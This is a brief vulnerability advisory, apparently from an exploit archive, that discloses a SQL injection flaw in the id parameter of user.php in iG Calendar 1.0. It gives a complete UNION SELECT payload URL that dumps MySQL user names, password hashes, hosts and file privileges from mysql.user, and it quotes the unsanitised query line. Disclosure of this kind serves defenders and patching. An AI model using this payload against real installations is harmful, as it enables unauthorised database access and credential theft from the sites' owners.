iG Calendar 1.0 (user.php id variable) Remote SQL Injection Vulnerability

SQL Injection in ig-Calendar.  This works regardless of magic_quotes_gpc! Dumps mysql login informaion: http://127.0.0.1/ig-calendar/user.php?id=999%20union%20select%201,User,Password,Host,File_priv,0%20from%20mysql.user ./user.php line 52: $query = 'SELECT * FROM users WHERE id='.$id; Should have used quote marks. Vendor's page:http://www.igeneric.co.uk download: http://www.igeneric.co.uk/files/ig-calendar-1.0.zip By Michael Brooks.